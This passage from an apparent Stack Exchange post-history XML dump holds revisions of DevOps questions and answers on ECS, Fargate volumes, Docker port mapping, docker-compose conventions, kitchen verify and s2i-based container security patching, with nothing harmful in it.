&quot;ubuntu&quot;, &lt;!--- I'd like to override this!&#xD;&#xA;                }&#xD;&#xA;            ],&#xD;&#xA;            &quot;status&quot;: &quot;ACTIVE&quot;,&#xD;&#xA;            ...&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;How this can be achieved?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19892" PostHistoryTypeId="1" PostId="6224" RevisionGUID="203d14d4-c67d-48bd-8034-4e368801724f" CreationDate="2019-02-04T17:45:45.350" UserId="3" Text="How to override the user for ECS task via CLI?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19893" PostHistoryTypeId="3" PostId="6224" RevisionGUID="203d14d4-c67d-48bd-8034-4e368801724f" CreationDate="2019-02-04T17:45:45.350" UserId="3" Text="&lt;amazon-ec2&gt;&lt;amazon-ecs&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19894" PostHistoryTypeId="34" PostId="3932" RevisionGUID="79bc3d37-2152-40d0-b96b-494862ac7046" CreationDate="2019-02-04T19:02:10.420" UserId="-1" Comment="36" />
  <row Id="19895" PostHistoryTypeId="2" PostId="6225" RevisionGUID="21494fbf-0815-409a-9f58-b4240703c6a5" CreationDate="2019-02-04T20:31:46.080" UserId="11320" Text="We have a typical multi layered web application:  a balancer, 2 web server 2 db server.&#xD;&#xA;&#xD;&#xA;I feel we strongly need to start using a kind of Infrastructure As A code in order to replicate easily environments, testing infrastructure updates, control production servers.&#xD;&#xA;&#xD;&#xA;I've never done that and I'm struggling to understand the workflow.&#xD;&#xA;I'm thinking something like this:&#xD;&#xA;&#xD;&#xA;- create locally my machines with docker and Dockerfiles.&#xD;&#xA;&#xD;&#xA;- use terraform to setup locally the infrastructure provided by docker. (Or docker-compose?)&#xD;&#xA;&#xD;&#xA;- reuse in some way the Dockerfiles to provide the production or staging machine (we don't use Docker in production, but rather AWS with EC2/AMI and RDS)&#xD;&#xA;&#xD;&#xA;- use ansible to deploy the application&#xD;&#xA;&#xD;&#xA;I'm not sure this is the way. Or maybe it's too complex&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19896" PostHistoryTypeId="1" PostId="6225" RevisionGUID="21494fbf-0815-409a-9f58-b4240703c6a5" CreationDate="2019-02-04T20:31:46.080" UserId="11320" Text="How to structure a IaaC for production, and development?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19897" PostHistoryTypeId="3" PostId="6225" RevisionGUID="21494fbf-0815-409a-9f58-b4240703c6a5" CreationDate="2019-02-04T20:31:46.080" UserId="11320" Text="&lt;docker&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19898" PostHistoryTypeId="5" PostId="6215" RevisionGUID="bec4a1a4-2b14-4815-abb5-abdb2ef25be3" CreationDate="2019-02-04T22:17:42.483" UserId="10599" Comment="edited body" Text="Larger organizations are concerned that containers introduce more security risks than traditional VMs as there isn't any hypervisor segregation. Developers running arbitrary images, that run as root, that they don't bother to security patch, looks worse for security team's than automatically patched VMs controlled by ops teams without containers.&#xA;&#xA;Misconfiguration of docker demon itself can also introduce security risks. It's fairly common for complex software to have security tuning tools and to run them as part of ”operational readiness checks” of the live environment before going live as a security audit. Then also run them on some periodic cycle or after any major upgrades of the software that is being audited. The tools you name will be very useful for that purpose. &#xA;&#xA;Software vendors who build container orchestrators are actively working in removing any dependency on needing to run docker demon see [cri-o.io][1]. Security, footprint and fork time are areas that vendors are competing on. CoreOS was a big innovator in this space before they were acquired you can look at some of their architecture presentations to get a flavor of what containers at scale workout docker looks like.&#xA;&#xA;From a devops perspective we should empower devs to run security tools all the time to fix issues early. In practice devs might be using Docker for Windows locally but the live env would be a container orchestrator possibly running [rkt][2]. In reality devs in large organizations are not going to security scan infrastructure they didn't create and dont have root on. Even at a startup not every dev can be familiar with all of the tooling and software running in production. An external security audit is a smart investment. &#xA;&#xA;IMHO if your teaching containers from a developer perspective it's worth pointing out such tools. Certainly devs in my experience are woefully unaware that running containers they find on docker hub as root isn't the smartest way to be secure. I would only expect to see such tools to be covered in depth by courses teaching security analysts how to audit systems that use Docker. &#xA;&#xA;&#xA;  [1]: https://cri-o.io&#xA;  [2]: https://coreos.com/rkt/docs/latest/using-rkt-with-kubernetes.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="19899" PostHistoryTypeId="2" PostId="6226" RevisionGUID="6893a6d8-7e87-4ef8-8376-b9aa1789099d" CreationDate="2019-02-04T22:45:42.210" UserId="10599" Text="A tool that I think is rather under recognised is [s2i][1]. The basic idea is that you don’t put a Dockerfile into your source repo specifying the runtime to use you keep your app code bare (just code). The decision as to which security patched s2i image to compile and run the code with is a separate matter that is independent and can be centrally managed.&#xA;&#xA;They way this is used in the ODK world is that a “BuildConfig” pulls your code from git to make an application image and is trigger by either a git webook or a docker registry push that updated the s2i image with a security patch. &#xA;&#xA;In our case we have many node and php apps. To security patch either runtime we push the latest s2i image into our OKD docker registry and that causes all our application images to be recreated and redeployed. &#xA;&#xA;Why I think that is of interest is that it basically says that what the code is, and how the code is run from a container security perspective, should not be conflated. They are two concerns that are not on the same cadence. A high impact vulnerability should be patched in the main test environment immediately and not be dependent on talking to several scrum teams about pushing a change to the Dockerfile in each team’s git repo. &#xA;&#xA;You can run s2i on your desktop or with container based SaaS ci tool such as [circleci][2]. I think it’s of interest to point out that you can separate the pure code from how it’s run in a container. When you have many apps or many small dev teams that separation to do “policy based security patching” of containers can be very useful. &#xA;&#xA;&#xA;  [1]: https://github.com/openshift/source-to-image&#xA;  [2]: https://gist.github.com/simbo1905/056d193328c81250a54b7c68f8a9e77b" ContentLicense="CC BY-SA 4.0" />
  <row Id="19900" PostHistoryTypeId="5" PostId="6226" RevisionGUID="9c912224-13a6-465b-ba50-38e115bc367c" CreationDate="2019-02-04T22:56:02.370" UserId="10599" Comment="added 478 characters in body" Text="A tool that I think is rather under recognised is [s2i][1]. The basic idea is that you don’t put a Dockerfile into your source repo specifying the runtime to use you keep your app code bare (just code). The decision as to which security patched s2i image to compile and run the code with is a separate matter that is independent and can be centrally managed.&#xA;&#xA;They way this is used in the ODK world is that a “BuildConfig” pulls your code from git to make an application image and is trigger by either a git webook or a docker registry push that updated the s2i image with a security patch. &#xA;&#xA;In our case we have many node and php apps. To security patch either runtime we push the latest s2i image into our OKD docker registry and that causes all our application images to be recreated and redeployed. &#xA;&#xA;Why I think that is of interest is that it basically says that what the code is, and how the code is run from a container security perspective, should not be conflated. They are two concerns that are not on the same cadence. A high impact vulnerability should be patched in the main test environment immediately and not be dependent on talking to several scrum teams about pushing a change to the Dockerfile in each team’s git repo. &#xA;&#xA;You can run s2i on your desktop or with container based SaaS ci tool such as [circleci][2]. I think it’s of interest to point out that you can separate the pure code from how it’s run in a container. When you have many apps or many small dev teams that separation to do “policy based security patching” of containers can be very useful. &#xA;&#xA;While I mention OKD by default it doesn’t let you run a container image as uid 0 (root). It uses a random uid and gid 0. This is for security in case the process gets out of its jail and tries to modify the host. Most public docker images just expect you run as root and file permission don’t let you run the app in the image as an arbitrary uid. You have to bake an image that gives gid 0 the file permissions to run the app. The s2i images all work under these circumstances.&#xA;&#xA;  [1]: https://github.com/openshift/source-to-image&#xA;  [2]: https://gist.github.com/simbo1905/056d193328c81250a54b7c68f8a9e77b" ContentLicense="CC BY-SA 4.0" />
  <row Id="19901" PostHistoryTypeId="2" PostId="6227" RevisionGUID="313fed00-ef93-4826-9326-88a0438ddb32" CreationDate="2019-02-05T00:10:32.767" UserId="12212" Text="I'm new to Docker and following a tutorial on Udemy.com. The turtorial has me setting and running a very simple container.&#xD;&#xA;&#xD;&#xA;**Docker File**&#xD;&#xA;&#xD;&#xA;    # Specify a base image&#xD;&#xA;    FROM node:alpine&#xD;&#xA;&#xD;&#xA;    # Putting files into a specific directory&#xD;&#xA;    WORKDIR /usr/app&#xD;&#xA;&#xD;&#xA;    # Install some dependencies&#xD;&#xA;    COPY ./package.json ./&#xD;&#xA;    RUN npm install&#xD;&#xA;    COPY ./ ./&#xD;&#xA;&#xD;&#xA;    # Default command&#xD;&#xA;    CMD [&quot;npm&quot;, &quot;start&quot;]&#xD;&#xA;&#xD;&#xA;**Index.js**&#xD;&#xA;&#xD;&#xA;    const express = require('express');&#xD;&#xA;&#xD;&#xA;    const app = express();&#xD;&#xA;&#xD;&#xA;    app.get('/', (req, res) =&gt; {&#xD;&#xA;	    res.send('Hi there');&#xD;&#xA;    });&#xD;&#xA;&#xD;&#xA;    app.listen(5000, () =&gt; {&#xD;&#xA;	    console.log('Listening on port 5000');&#xD;&#xA;    });&#xD;&#xA;&#xD;&#xA;**package.json**&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;	    &quot;dependencies&quot;: {&#xD;&#xA;		    &quot;express&quot;: &quot;*&quot;&#xD;&#xA;	    },&#xD;&#xA;	    &quot;scripts&quot;: {&#xD;&#xA;		    &quot;start&quot;: &quot;node index.js&quot;&#xD;&#xA;	    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I'm working on a laptop running Windows 10 Home. Using the Docker Quickstart Terminal and PowerShell.&#xD;&#xA;&#xD;&#xA;I've edited my HOSTS file as to point localhost to 192.168.99.100, which is the ip the container gets.&#xD;&#xA;&#xD;&#xA;I've tried hitting the server by both 192.168.99.100:5000 and localhost:5000. No matter what, when I try to access via browser(I.E. and Chrome) I get the following message:&#xD;&#xA;&#xD;&#xA;This site can’t be reached&#xD;&#xA;&#xD;&#xA;192.168.99.100 refused to connect.&#xD;&#xA;&#xD;&#xA;***********&#xD;&#xA;&#xD;&#xA;&gt; curl http://192.168.99.100:5000&#xD;&#xA;&#xD;&#xA;returns&#xD;&#xA;&#xD;&#xA;&gt; curl: (7) Failed to connect to 192.168.99.100 port 5000: Connection refused&#xD;&#xA;&#xD;&#xA;***********&#xD;&#xA;&#xD;&#xA;However, If I run `'docker-machine ls'`, I get:&#xD;&#xA;&#xD;&#xA;&gt; tcp://192.168.99.100:2376&#xD;&#xA;&#xD;&#xA;Why port 2376? I cannot figure out where/how this port is being assigned.&#xD;&#xA;&#xD;&#xA;Trying the browser on that port I get a different message:&#xD;&#xA;&#xD;&#xA;This page isn’t working&#xD;&#xA;&#xD;&#xA;192.168.99.100 sent an invalid response.&#xD;&#xA;&#xD;&#xA;ERR_INVALID_HTTP_RESPONSE&#xD;&#xA;&#xD;&#xA;*********&#xD;&#xA;&#xD;&#xA;This would suggest(at least to me) that the server is there on that port, but not doing something right.&#xD;&#xA;&#xD;&#xA;    curl http://192.168.99.100:2376 --output -&#xD;&#xA;&#xD;&#xA;Gives me some garbled output in the terminal, and writing it to a file gives garbled output as well. Not much, just a few garbage characters.&#xD;&#xA;&#xD;&#xA;I suspect this is the &quot;Hi There&quot; message that is not being formatted correctly.&#xD;&#xA;&#xD;&#xA;So my questions would be, am I doing something wrong in my dockerfile? Why/how is the container getting this port 2376 when i'm specifically mapping to 5000?&#xD;&#xA;&#xD;&#xA;Any insight would be appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="19902" PostHistoryTypeId="1" PostId="6227" RevisionGUID="313fed00-ef93-4826-9326-88a0438ddb32" CreationDate="2019-02-05T00:10:32.767" UserId="12212" Text="Troubles with mapping ports on a very simple Docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="19903" PostHistoryTypeId="3" PostId="6227" RevisionGUID="313fed00-ef93-4826-9326-88a0438ddb32" CreationDate="2019-02-05T00:10:32.767" UserId="12212" Text="&lt;docker&gt;&lt;dockerfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19904" PostHistoryTypeId="2" PostId="6228" RevisionGUID="d99acfb7-4a34-47bb-aed2-c8b37c598d77" CreationDate="2019-02-05T05:21:34.120" UserId="12215" Text="I am new to fargate and even dockers. But I have used dockers for a couple of months. Only now, I am using fargate.&#xD;&#xA;&#xD;&#xA;I create a particular docker instance as follows:&#xD;&#xA;&#xD;&#xA;    docker run -v localHostFolder/configFile:dockerFolder/configFile -v my-vol:/app --restart always --entrypoint &quot;myEntryScript.sh&quot; myDockerImage&#xD;&#xA;&#xD;&#xA;This works well on dockers. What I do here is use a config file from my machine &quot;localHostFolder/configFile&quot; and load it onto the docker instance I create. I want the docker instance to be populated with some config values. &#xD;&#xA;&#xD;&#xA;In addition, I use my-vol:/app to save state data from my docker container so if the container restarts, this data can be used.&#xD;&#xA;&#xD;&#xA;Now, a few questions - &#xD;&#xA;&#xD;&#xA;1. I understand Fargate gives u access to just the container and not the underlying host. If so, how do you accomplish the above?&#xD;&#xA;&#xD;&#xA;2. When I try to create a fargate container, I see an option for volumes, but not sure how it works. In fact I see that the mount-volumes drop down is always empty and dont see an option to create one either. Is this something only an admin can do?&#xD;&#xA;&#xD;&#xA;3. Can we do the above using Fargate at all and if so how? If not using volumes, is there an alternate way to do this?&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="19905" PostHistoryTypeId="1" PostId="6228" RevisionGUID="d99acfb7-4a34-47bb-aed2-c8b37c598d77" CreationDate="2019-02-05T05:21:34.120" UserId="12215" Text="Using volumes on AWS fargate" ContentLicense="CC BY-SA 4.0" />
  <row Id="19906" PostHistoryTypeId="3" PostId="6228" RevisionGUID="d99acfb7-4a34-47bb-aed2-c8b37c598d77" CreationDate="2019-02-05T05:21:34.120" UserId="12215" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19912" PostHistoryTypeId="5" PostId="6226" RevisionGUID="f353c8da-c461-4c72-bc25-a840464488dc" CreationDate="2019-02-05T06:43:15.773" UserId="10599" Comment="added 431 characters in body; added 432 characters in body" Text="A tool that I think is rather under recognised is [s2i][1]. The basic idea is that you don’t put a Dockerfile into your source repo specifying the runtime to use you keep your app code bare (just code). The decision as to which security patched s2i image to compile and run the code with is a separate matter that is independent and can be centrally managed.&#xA;&#xA;They way this is used in the ODK world is that a “BuildConfig” pulls your code from git to make an application image and is trigger by either a git webook or a docker registry push that updated the s2i image with a security patch. &#xA;&#xA;In our case we have many node and php apps. To security patch either runtime we push the latest s2i image into our OKD docker registry and that causes all our application images to be recreated and redeployed. &#xA;&#xA;Why I think that is of interest is that it basically says that what the code is, and how the code is run from a container security perspective, should not be conflated. They are two concerns that are not on the same cadence. A high impact vulnerability should be patched in the main test environment immediately and not be dependent on talking to several scrum teams about pushing a change to the Dockerfile in each team’s git repo. &#xA;&#xA;You can run s2i on your desktop or with container based SaaS ci tool such as [circleci][2]. I think it’s of interest to point out that you can separate the pure code from how it’s run in a container. When you have many apps or many small dev teams that separation to do “policy based security patching” of containers can be very useful. &#xA;&#xA;While I mention OKD by default it doesn’t let you run a container image as uid 0 (root). It uses a random uid and gid 0. This is for security in case the process gets out of its jail and tries to modify the host. Most public docker images just expect you run as root and file permission don’t let you run the app in the image as an arbitrary uid as `docker —user ${rand_uid}:0`. You have to bake an image that gives gid 0 the file permissions to run the app. The s2i images all work under these circumstances. &#xA;&#xA;If you need apps in docker to lookup the use details in `/etc/passwd` when running as a random uid the you can fake that. [Here][3] is a script that runs git in docker as random uid where git wants to lookup the current in `/etc/passwd` so the script fakes it. &#xA;&#xA;The lesson here IMHO is that while in theory docker gives perfect isolation in practice all code is subject to security flaws. Also in theory all teams will update there Dockerfile immediately or very often but in practice dev teams are focused on features not long term security patching. So security should be “defence is depth” and take concrete steps to do centralised patching of container images and not run containers as root.&#xA;&#xA;  [1]: https://github.com/openshift/source-to-image&#xA;  [2]: https://gist.github.com/simbo1905/056d193328c81250a54b7c68f8a9e77b&#xA;  [3]: https://github.com/ocd-scm/ocd-environment-webhook/blob/039162d357c3d01c09ff03177352b889ce7605f0/bin/ocd-checkout-env.sh#L10" ContentLicense="CC BY-SA 4.0" />
  <row Id="19913" PostHistoryTypeId="5" PostId="6226" RevisionGUID="162cc0d3-1032-44c8-86be-3390b1814a47" CreationDate="2019-02-05T06:52:38.280" UserId="10599" Comment="added 101 characters in body; added 112 characters in body; added 40 characters in body" Text="A tool that I think is rather under recognised is [s2i][1]. The basic idea is that you don’t put a Dockerfile into your source repo specifying the runtime to use you keep your app code bare (just code). The decision as to which security patched s2i image to compile and run the code with is a separate matter that is independent and can be centrally managed.&#xA;&#xA;They way this is used in the ODK world is that a “BuildConfig” pulls your code from git to make an application image and is trigger by either a git webook or a docker registry push that updated the s2i image with a security patch. &#xA;&#xA;In our case we have many node and php apps. To security patch either runtime we push the latest s2i image into our OKD docker registry and that causes all our application images to be recreated and redeployed. &#xA;&#xA;Why I think that is of interest is that it basically says that what the code is, and how the code is run from a container security perspective, should not be conflated. They are two concerns that are not on the same cadence. A high impact vulnerability should be patched in the main test environment immediately and not be dependent on talking to several scrum teams about pushing a change to the Dockerfile in each team’s git repo. &#xA;&#xA;You can run s2i on your desktop or with container based SaaS ci tool such as [circleci][2]. I think it’s of interest to point out that you can separate the pure code from how it’s run in a container. When you have many apps or many small dev teams that separation to do “policy based security patching” of containers can be very useful. &#xA;&#xA;While I mention OKD by default it doesn’t let you run a container image as uid 0 (root). It uses a random uid and gid 0. This is for security in case the process gets out of its jail and tries to modify the host. Most public docker images just expect you run as root and file permission don’t let you run the app in the image as an arbitrary uid as `docker —user ${rand_uid}:0`. You have to bake an image that gives gid 0 the file permissions to run the app. The s2i images all work under these circumstances. &#xA;&#xA;If you need apps in docker to lookup the use details in `/etc/passwd` when running as a random uid the you can fake that. [Here][3] is a script that runs git in docker as random uid where git wants to lookup the current in `/etc/passwd` so the script fakes it. &#xA;&#xA;The lesson here IMHO is that while in theory docker gives perfect isolation in practice all code is subject to security flaws. In theory many two dev teams will update all Dockerfiles immediately or very often but in practice dev teams are focused on features not long term security patching. (I work with one microservies platform that currently has &gt;200 git repos and dev teams on three continents so coordinating anything is a challenge.) So security should be “defence is depth” and take concrete steps to do centralised patching of container images, not run containers as root, and use a random uid that isn’t in the host `/etc/passwd` so cannot read or write outside of its jail. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image&#xA;  [2]: https://gist.github.com/simbo1905/056d193328c81250a54b7c68f8a9e77b&#xA;  [3]: https://github.com/ocd-scm/ocd-environment-webhook/blob/039162d357c3d01c09ff03177352b889ce7605f0/bin/ocd-checkout-env.sh#L10" ContentLicense="CC BY-SA 4.0" />
  <row Id="19914" PostHistoryTypeId="2" PostId="6231" RevisionGUID="35af0a5e-d6b2-4cc7-8208-f25bac5bc902" CreationDate="2019-02-05T07:11:03.793" UserId="12217" Text="`.kitchen.yml`&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    driver:&#xD;&#xA;      name: vagrant&#xD;&#xA;&#xD;&#xA;    provisioner:&#xD;&#xA;      name: chef_zero&#xD;&#xA;&#xD;&#xA;    platforms:&#xD;&#xA;      - name: debian-9&#xD;&#xA;      - name: centos-7&#xD;&#xA;&#xD;&#xA;    suites:&#xD;&#xA;      - name: default&#xD;&#xA;        run_list:&#xD;&#xA;          - recipe[foo::default]&#xD;&#xA;        verifier:&#xD;&#xA;          inspec_tests:&#xD;&#xA;            - test/integration/default&#xD;&#xA;        attributes: &#xD;&#xA;          foo: &#xD;&#xA;            sshd: &#xD;&#xA;              port: 22&#xD;&#xA;&#xD;&#xA;cmd: `$ kitchen verify`&#xD;&#xA;&#xD;&#xA;debian-9 finishes just fine, no problems.&#xD;&#xA;centos-7 just hangs and hangs.  &#xD;&#xA;&#xD;&#xA;I don't believe it's the tests. They are standard inspec control checks. If I comment out the tests, the same thing happens.&#xD;&#xA;&#xD;&#xA;Any idea what could be happening here?&#xD;&#xA;&#xD;&#xA;`format: documentation` output: &#xD;&#xA;```&#xD;&#xA;Finished in 0.75833 seconds (files took 0.90276 seconds to load)&#xD;&#xA;30 examples, 0 failures, 1 pending&#xD;&#xA;&#xD;&#xA;       Finished verifying &lt;default-debian-9&gt; (0m1.91s).&#xD;&#xA;-----&gt; Verifying &lt;default-centos-7&gt;...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Nada. The &quot;1 pending&quot; is just a check that has been ignored due to OS detection.&#xD;&#xA;&#xD;&#xA;This was working earlier today and stopped working out of the blue. I tried destroying the vagrant box." ContentLicense="CC BY-SA 4.0" />
  <row Id="19915" PostHistoryTypeId="1" PostId="6231" RevisionGUID="35af0a5e-d6b2-4cc7-8208-f25bac5bc902" CreationDate="2019-02-05T07:11:03.793" UserId="12217" Text="kitchen verify hangs on centOS, but not Debian" ContentLicense="CC BY-SA 4.0" />
  <row Id="19916" PostHistoryTypeId="3" PostId="6231" RevisionGUID="35af0a5e-d6b2-4cc7-8208-f25bac5bc902" CreationDate="2019-02-05T07:11:03.793" UserId="12217" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19917" PostHistoryTypeId="5" PostId="6228" RevisionGUID="121c029d-3dc8-4862-a96d-37e4bbdb6250" CreationDate="2019-02-05T09:34:02.273" UserId="12215" Comment="added 265 characters in body" Text="I am new to fargate and even dockers. But I have used dockers for a couple of months. Only now, I am using fargate.&#xD;&#xA;&#xD;&#xA;I create a particular docker instance as follows:&#xD;&#xA;&#xD;&#xA;    docker run -v localHostFolder/configFile:dockerFolder/configFile -v my-vol:/app --restart always --entrypoint &quot;myEntryScript.sh&quot; myDockerImage&#xD;&#xA;&#xD;&#xA;This works well on dockers. What I do here is use a config file from my machine &quot;localHostFolder/configFile&quot; and load it onto the docker instance I create. I want the docker instance to be populated with some config values. &#xD;&#xA;&#xD;&#xA;In addition, I use my-vol:/app to save state data from my docker container so if the container restarts, this data can be used.&#xD;&#xA;&#xD;&#xA;Now, a few questions - &#xD;&#xA;&#xD;&#xA;1. I understand Fargate gives u access to just the container and not the underlying host. If so, how do you accomplish the above?&#xD;&#xA;&#xD;&#xA;2. When I try to create a fargate container, I see an option for volumes, but not sure how it works. In fact I see that the mount-volumes drop down is always empty and dont see an option to create one either. Is this something only an admin can do?&#xD;&#xA;&#xD;&#xA;3. Can we do the above using Fargate at all and if so how? If not using volumes, is there an alternate way to do this?&#xD;&#xA;&#xD;&#xA;4. I also noticed there's something called Service discovery that I think can be used to create a fixed dns record so other aws containers can use the dns host name instead of the IP. Is this possible with Fargate? I see it is doable with ECS - not tried though&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 4.0" />
  <row Id="19918" PostHistoryTypeId="2" PostId="6232" RevisionGUID="3797f9b3-ea81-43bc-99f1-4cf20c63de3f" CreationDate="2019-02-05T09:35:33.970" UserId="11179" Text="Is there some globally admitted coding conventions for `docker-compose` files?&#xD;&#xA;Below is a sample `docker-compose.yml` from a small project we have here:&#xD;&#xA;&#xD;&#xA;    version: 3&#xD;&#xA;    networks:&#xD;&#xA;      net:&#xD;&#xA;        driver: 'bridge'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      app:&#xD;&#xA;        build: .&#xD;&#xA;        networks:&#xD;&#xA;        - net&#xD;&#xA;        ports:&#xD;&#xA;        - 3000:3000&#xD;&#xA;      redis:&#xD;&#xA;        image: redis:alpine&#xD;&#xA;        networks:&#xD;&#xA;        - net&#xD;&#xA;      client:&#xD;&#xA;        image: &quot;app/test_clients&quot;&#xD;&#xA;        deploy:&#xD;&#xA;          replicas: '3'&#xD;&#xA;&#xD;&#xA;The quoting is especially inconsistent. Sometimes quotes are used around text and numerical literals. Sometimes they aren't. Sometimes single quotes are used, sometimes double quotes are used instead. The various example in the [official docker-compose documentation](https://docs.docker.com/compose/compose-file/) seems relatively inconsistent in that area too.&#xD;&#xA;&#xD;&#xA;This is valid YAML. And YAML is very permissive about quoting and, as far as I know, quotes could simply be omitted in most of the cases. I know this is probably a matter of internal policy but I wonder if there are some commonly accepted &quot;best practices&quot; in that matter." ContentLicense="CC BY-SA 4.0" />
  <row Id="19919" PostHistoryTypeId="1" PostId="6232" RevisionGUID="3797f9b3-ea81-43bc-99f1-4cf20c63de3f" CreationDate="2019-02-05T09:35:33.970" UserId="11179" Text="Coding conventions for docker-compose files?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19920" PostHistoryTypeId="3" PostId="6232" RevisionGUID="3797f9b3-ea81-43bc-99f1-4cf20c63de3f" CreationDate="2019-02-05T09:35:33.970" UserId="11179" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19921" PostHistoryTypeId="5" PostId="6226" RevisionGUID="5313688e-a01e-4afe-b7a4-e1c09bcc7531" CreationDate="2019-02-05T09:37:20.900" UserId="10599" Comment="deleted 1 character in body; added 341 characters in body" Text="A tool that I think is rather under recognised is [s2i][1]. The basic idea is that you don’t put a Dockerfile into your source repo specifying the runtime to use you keep your app code bare (just code). The decision as to which security patched s2i image to compile and run the code with is a separate matter that is independent and can be centrally managed.&#xA;&#xA;The way this is used in the ODK world is that a “BuildConfig” pulls your code from git to make an application image and is trigger by either a git webook or a docker registry push that updated the s2i image with a security patch. &#xA;&#xA;In our case we have many node and php apps. To security patch either runtime we push the latest s2i image into our OKD docker registry and that causes all our application images to be recreated and redeployed. &#xA;&#xA;Why I think that is of interest is that it basically says that what the code is, and how the code is run from a container security perspective, should not be conflated. They are two concerns that are not on the same cadence. A high impact vulnerability should be patched in the main test environment immediately and not be dependent on talking to several scrum teams about pushing a change to the Dockerfile in each team’s git repo. &#xA;&#xA;I think it’s of interest to point out that you can separate the pure code from how it’s run in a container. When you have many apps or many small dev teams that separation to do “policy based security patching” of containers can be very useful. You can run s2i on your desktop or with container based SaaS ci tool such as [circleci][2]. It would be straightforward to run it in, say, Jenkins. That means you can have, say, dozens of micro service Jenkins jobs and control the version of the s2i image you use in all the Jenkins jobs in one place. You can then script a security update that triggers all Jenkins release jobs to run to apply the patched s2i to all microservices. &#xA;&#xA;While I mention OKD by default it doesn’t let you run a container image as uid 0 (root). It uses a random uid and gid 0. This is for security in case the process gets out of its jail and tries to modify the host. Most public docker images just expect you run as root and file permission don’t let you run the app in the image as an arbitrary uid as `docker —user ${rand_uid}:0`. You have to bake an image that gives gid 0 the file permissions to run the app. The s2i images all work under these circumstances. &#xA;&#xA;If you need apps in docker to lookup the use details in `/etc/passwd` when running as a random uid the you can fake that. [Here][3] is a script that runs git in docker as random uid where git wants to lookup the current in `/etc/passwd` so the script fakes it. &#xA;&#xA;The lesson here IMHO is that while in theory docker gives perfect isolation in practice all code is subject to security flaws. In theory many two dev teams will update all Dockerfiles immediately or very often but in practice dev teams are focused on features not long term security patching. (I work with one microservies platform that currently has &gt;200 git repos and dev teams on three continents so coordinating anything is a challenge.) So security should be “defence is depth” and take concrete steps to do centralised patching of container images, not run containers as root, and use a random uid that isn’t in the host `/etc/passwd` so cannot read or write outside of its jail. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image&#xA;  [2]: https://gist.github.com/simbo1905/056d193328c81250a54b7c68f8a9e77b&#xA;  [3]: https://github.com/ocd-scm/ocd-environment-webhook/blob/039162d357c3d01c09ff03177352b889ce7605f0/bin/ocd-checkout-env.sh#L10" ContentLicense="CC BY-SA 4.0" />
  <row Id="19922" PostHistoryTypeId="5" PostId="6226" RevisionGUID="fe4bc7c8-f2f3-43c1-991c-83d868315b05" CreationDate="2019-02-05T09:44:05.557" UserId="10599" Comment="added 79 characters in body; added 7 characters in body; edited body" Text="A tool that I think is rather under recognised is [s2i][1]. The basic idea is that you don’t put a Dockerfile into your source repo specifying the runtime to use you keep your app code bare (just code). The decision as to which security patched s2i image to compile and run the code with is a separate matter that is independent and can be centrally managed.&#xA;&#xA;The way this is used in the ODK world is that a “BuildConfig” pulls your code from git to make an application image and is trigger by either a git webook or a docker registry push that updated the s2i image with a security patch. &#xA;&#xA;In our case we have many node and php apps. To security patch either runtime we push the latest s2i image into our OKD docker registry and that causes all our application images to be recreated and redeployed. &#xA;&#xA;Why I think that is of interest is that it basically says that what the code is, and how the code is run from a container security perspective, should not be conflated. They are two concerns that are not on the same cadence. A high impact vulnerability should be patched in the main test environment immediately and not be dependent on talking to several scrum teams about pushing a change to the Dockerfile in each team’s git repo. &#xA;&#xA;When you have many apps or many small dev teams that separation to do “policy based security patching” of containers can be very useful. You can run s2i on your desktop or with container based SaaS ci tool such as [circleci][2]. It would be straightforward to run it in, say, Jenkins. That means you can have, say, dozens of micro service Jenkins deploy jobs triggered by git webook that run s2i and push the final image. You can then control the version of the s2i image you use in all the Jenkins jobs in one place. You can then script a security update that updates the s2i docker url to the latest security fix and triggers all Jenkins release jobs to run to apply the patched s2i to all microservices. No code or config needs to change in any git repo.&#xA;&#xA;While I mention OKD by default it doesn’t let you run a container image as uid 0 (root). It uses a random uid and gid 0. This is for security in case the process gets out of its jail and tries to modify the host. Most public docker images just expect you run as root and file permission don’t let you run the app in the image as an arbitrary uid as `docker —user ${rand_uid}:0`. You have to bake an image that gives gid 0 the file permissions to run the app. The s2i images all work under these circumstances. &#xA;&#xA;If you need apps in docker to lookup the use details in `/etc/passwd` when running as a random uid the you can fake that. [Here][3] is a script that runs git in docker as random uid where git wants to lookup the current in `/etc/passwd` so the script fakes it. &#xA;&#xA;The lesson here IMHO is that while in theory docker gives perfect isolation in practice all code is subject to security flaws. In theory many small dev teams will update all Dockerfiles immediately or very frequently but in practice dev teams are focused on features not long term security patching. (I work with one microservies platform that currently has &gt;200 git repos and dev teams on three continents so coordinating anything is a challenge.) So security should be “defence in depth” and take concrete steps to do centralised patching of container images, not run containers as root, and use a random uid that isn’t in the host `/etc/passwd` so cannot read or write outside of its jail. &#xA;&#xA;  [1]: https://github.com/openshift/source-to-image&#xA;  [2]: https://gist.github.com/simbo1905/056d193328c81250a54b7c68f8a9e77b&#xA;  [3]: 